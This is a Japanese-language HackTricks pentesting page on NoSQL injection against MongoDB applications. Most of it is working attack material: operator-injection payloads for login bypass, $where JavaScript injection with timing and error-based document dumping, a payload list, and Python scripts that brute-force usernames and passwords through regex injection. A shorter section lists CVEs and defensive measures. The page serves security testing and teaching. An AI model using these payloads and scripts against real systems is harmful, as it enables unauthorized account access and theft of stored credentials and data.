NoSQL injection

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Exploit

PHPでは、送信するパラメータを_parameter=foo_から_parameter[arrName]=foo_に変更することでArrayを送信できます。

ExploitsはOperatorを追加することで成立します:

username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

Basic authentication bypass

not equal ($ne) または greater ($gt) を使用

#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo

query = { $where: `this.username == '${username}'` }

攻撃者は admin' || 'a'=='a のような文字列を入力してこれを悪用でき、条件を恒真式('a'=='a')で満たすことでクエリがすべてのドキュメントを返すようにします。これは、' or 1=1-- - のような入力を使ってSQLクエリを操作する SQL injection attacks と同様です。MongoDB では、' || 1==1//' || 1==1%00、または admin' || 'a'=='a のような入力で類似の注入が可能です。

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a

長さ の情報を抽出

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...

データ情報を抽出

in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongo

/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

PHP Arbitrary Function Execution

$func 演算子を MongoLite ライブラリ(デフォルトで使用)で使用すると、this report にあるように任意の関数を実行できる可能性があります。

"user":{"$func": "var_dump"}

https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png

別のコレクションから情報を取得する

It’s possible to use $lookup to get info from a different collection. 以下の例では、別のコレクションである**usersを読み取り、パスワードがワイルドカードに一致するすべてのエントリの結果**を取得しています。

注意: $lookup や他の集約関数は、より一般的な find()findOne() 関数の代わりに検索を実行するために aggregate() 関数が使用された場合にのみ利用可能です。

[
{
"$lookup": {
"from": "users",
"as": "resultado",
"pipeline": [
{
"$match": {
"password": {
"$regex": "^.*"
}
}
}
]
}
}
]

Error-Based Injection

$where clause に throw new Error(JSON.stringify(this)) を注入して、server-side JavaScript errors を介してドキュメント全体を exfiltrate します(アプリケーションが database errors を leak する必要があります)。例:

{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }

アプリケーションが最初に失敗したドキュメントのみを leaks する場合、既に回収したドキュメントを除外して dump を再現可能に保ちます。最後に leaked された _id と比較するのが簡単なページネーターです:

{ "$where": "if (this._id > '66d5ef7d01c52a87f75e739c') { throw new Error(JSON.stringify(this)) }" }

syntax injection における前後条件の回避

アプリケーションが Mongo フィルタを解析の前に string として構築する場合、syntax injection はもはや単一フィールドに限定されず、周囲の条件を無効化できることが多い。

In $where injections, JavaScript truthy values and poison null bytes are still useful to kill trailing clauses:

' || 1 || 'x
' || 1%00

raw JSON filter injectionでは、重複したキーがlast-key-winsポリシーに従うパーサで以前の制約を上書きすることがあります:

// Original filter
{"username":"<input>","role":"user"}

// Injected value of <input>
","username":{"$ne":""},"$comment":"dup-key

// Effective filter on permissive parsers
{"username":"","username":{"$ne":""},"$comment":"dup-key","role":"user"}

このトリックはパーサ依存で、アプリケーションが最初に JSON を文字列連結/補間で組み立てる場合にのみ適用されます。バックエンドがクエリをエンドツーエンドで構造化されたオブジェクトとして保持する場合には、適用されません

最近の CVE & Real-World Exploits (2023-2025)

Rocket.Chat unauthenticated blind NoSQLi – CVE-2023-28359

バージョン ≤ 6.0.0 では、Meteor メソッド listEmojiCustom がユーザー制御の selector オブジェクトを直接 find() に渡していました。例えば {"$where":"sleep(2000)||true"} のようなオペレータを注入することで、unauthenticated attacker が timing oracle を構築し、documents を exfiltrate できました。この脆弱性は 6.0.1 で selector の形状を検証し、危険なオペレータを除去することで修正されました。

Mongoose populate().match search injection – CVE-2024-53900 & CVE-2025-23061

アプリケーションが attacker-controlled オブジェクトを populate({ match: ... }) に渡すと、脆弱な Mongoose のバージョンでは populate フィルタ内で $where ベースの search injection を許してしまいます。CVE-2024-53900 はトップレベルのケースを扱い、CVE-2025-23061 は $where$or のようなオペレータの下にネストされている場合のバイパスを扱っていました。

// Dangerous: attacker controls the full match object
Post.find().populate({ path: 'author', match: req.query.author });

リクエストオブジェクト全体を転送するのではなく、allow-list を使い、スカラーを明示的にマッピングしてください。 Mongoose は sanitizeFilter をサポートしており、ネストしたオペレータオブジェクトを $eq でラップしますが、これは明示的なフィルタマッピングの代替ではなく、セーフティネットとして扱うべきです:

mongoose.set('sanitizeFilter', true);

Post.find().populate({
path: 'author',
match: { email: req.query.email }
});

GraphQL → Mongo の filter 混同

リゾルバが args.filter を直接 collection.find() に渡すと、依然として脆弱です:

query users($f:UserFilter){
users(filter:$f){ _id email }
}

# variables
{ "f": { "$ne": {} } }

緩和策: 再帰的に $ で始まるキーを削除する、許可されたオペレーターを明示的にマッピングする、またはスキーマライブラリ(Joi、Zod)で検証する。

防御チートシート(更新 2025)

  1. $ で始まるキーは削除するか拒否する。Express が Mongo/Mongoose の前段にある場合、ORM に到達する前に req.bodyreq.queryreq.params をサニタイズする。
  2. 自己ホストの MongoDB でサーバー側の JavaScript を無効化する(--noscripting または security.javascriptEnabled: false)ことで $where や類似の JS シンクを利用不可にする。
  3. $where の代わりに $expr と型付きのクエリビルダーを使用することを推奨する。
  4. データ型は早期に検証する(Joi/Ajv/Zod)とし、スカラーが期待される箇所で配列やオブジェクトを許可しないことで [$ne] のトリックを防ぐ。
  5. GraphQL ではフィルター引数を許可リストを通して変換すること。信頼できないオブジェクトを Mongo/Mongoose のフィルターにスプレッドして渡してはいけない。

MongoDB Payloads

一覧は ここ

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/index.html)//+%00
' && this.passwordzz.match(/.*/index.html)//+%00
'%20%26%26%20this.password.match(/.*/index.html)//+%00
'%20%26%26%20this.passwordzz.match(/.*/index.html)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

ブラインド NoSQL スクリプト

import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c

POST login からの Brute-force による login usernames と passwords

これは簡単な script で、修正して使うことができますが、前の tools でも同様のタスクは可能です。

import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]

def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")

def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames

for u in get_usernames(""):
get_password(u)

ツール

参考資料

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする